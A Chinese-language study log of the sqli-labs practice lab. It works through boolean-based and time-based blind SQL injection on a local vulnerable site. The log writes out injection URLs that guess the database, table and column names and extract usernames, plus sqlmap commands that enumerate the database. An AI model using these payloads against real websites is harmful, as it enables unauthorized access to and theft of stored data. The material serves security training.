今天的内容主要都是回顾第五次练习里的内容。虽然没过几天,突然发现自己要注入还需要回顾前面的…
首先进行常规测试,发现单引号不能正常回显,双引号可以使页面正常回显,所以判断要用布尔型的盲注了吧。
之后同第五关,利用布尔型进行注入,再复习一下吧
猜测数据库名字的长度:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())=8 --+
猜测数据库的名字:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select database()),8)='security' --+
猜测数据表的名字
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' --+
猜测数据表中字段名字:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username' --+
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' --+
慢慢慢慢的爆破字段中的内容:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
之后用SQLMap再跑一遍:
查询所有的库名:
C:\Python27\sqlmapproject-sqlmap-c8a4e63>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-8/?id=1" --dbs
列出表:
C:\Python27\sqlmapproject-sqlmap-c8a4e63>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-8/?id=1" -D security --tables
列出字段:
C:\Python27\sqlmapproject-sqlmap-c8a4e63>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-8/?id=1" -D security -T users --columns
列出字段内容:
C:\Python27\sqlmapproject-sqlmap-c8a4e63>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-8/?id=1" -D security -T users --columns
首先发现无论输入什么,网页显示都是一样的,说明可能会利用时间回显的盲注。
利用时间回显来判断语句正确性
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(3) --+
判断数据库长度,会看到长度为8时会有很明显的延迟:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())=8,sleep(5),1) --+
判断数据库的名字:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left(database(),8)='security',sleep(5),1) --+
判断数据库中表的名字:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(5),1) --+
判断数据表中列的名字:
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username',sleep(5),1) --+
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password',sleep(5),1) --+
再慢慢慢慢判断列中的具体内容(一下仅列举了一个):
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),1) --+
开始还是常规尝试,发现无论输入什么,页面还是一样的,所以想着这应该又应用的是基于时间的盲注
尝试,发现这种情况下有明显的延迟。
后续步骤同上